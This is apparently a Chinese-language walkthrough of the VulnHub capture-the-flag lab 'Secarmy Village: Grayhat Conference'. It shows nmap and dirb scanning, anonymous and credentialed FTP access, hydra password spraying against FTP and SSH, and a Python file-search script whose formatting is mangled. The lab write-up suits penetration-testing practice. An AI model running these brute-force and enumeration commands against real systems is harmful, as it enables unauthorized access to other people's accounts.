Secarmy Village: Grayhat Conference靶场

Secarmy Village: Grayhat Conference

来自 < Secarmy Village: Grayhat Conference ~ VulnHub>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.224

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.224

|----------------------|----------|----------------------------------------------------------------------------|----------------------------------------------------------------------|
| 端口/服务 | 风险等级 | 详细风险 | 建议措施 |
| 21/tcp (FTP) | 高 | - 允许匿名登录（Anonymous FTP），可能泄露敏感文件。 - vsftpd 3.0.3可能存在未修复漏洞（如CVE-2020-8816）。 | 1. 禁用匿名登录。 2. 限制FTP目录权限。 3. 升级到最新版本。 |
| 22/tcp (SSH) | 中 | - OpenSSH 7.6p1版本较旧，可能存在弱密码或密钥泄露风险。 | 1. 禁用密码认证，强制使用密钥登录。 2. 升级至OpenSSH 9.6+版本。 3. 限制SSH访问IP范围。 |
| 80/tcp (HTTP) | 高 | - Apache 2.4.29存在旧漏洞（如CVE-2017-15715）。 - 网站标题暗示潜在漏洞风险。 | 1. 升级Apache至2.4.57+。 2. 扫描Web目录（使用gobuster或dirb）。 3. 检查SQL注入/XSS等漏洞。 |
| 1337/tcp (自定义服务) | 高 | - 密码恢复功能需输入"令牌"，可能为硬编码凭证或存在逻辑漏洞（如缓冲区溢出）。 | 1. 通过FTP/HTTP获取潜在令牌。 2. 使用netcat手动交互测试。 3. 审计服务代码逻辑，移除硬编码凭证。 |

4，尝试匿名访问，发现什么都没有

ftp [email protected]

访问80端口开放的http服务

对网站存在的隐藏子目录进行扫描

dirb http://192.168.23.224

查看页面源代码得到一些内容（因为文字选择白色所以无法直接看见）

view-source:http://192.168.23.224/anon/

5，再次尝试登录到ftp服务器上，账户密码：uno/luc10r4m0n

下载下来查看内容

get flag1.txt

get readme.txt

得到了flag1和重要提示信息

通过在ftp服务器的信息收集可以知道所有用户名

ls /home

保存成为一个字典，然后进行hydra爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh

甚至可以ssh登录了

6，ftp上线dos用户，password:4b3l4rd0fru705

ftp [email protected]

信息收集发现有两个文件1137.txt和readme.txt，保存下来看看。

然后把巨大的files文件夹里面的内容下载出来

mkdir ftp

cd ftp

prompt

mget *

7，1337.txt提示要通过nc连接靶机的1337端口，我们可以使用该命令来连接，连接后需要token

readme.txt，说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import re def find_str(num): file_text = open(f'ftp/file{num}.txt').readlines() pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$') for line in file_text: if pattern.search(line): print('file'+str(num)+'.txt') break if name == 'main': for i in range(0,5001): find_str(i) |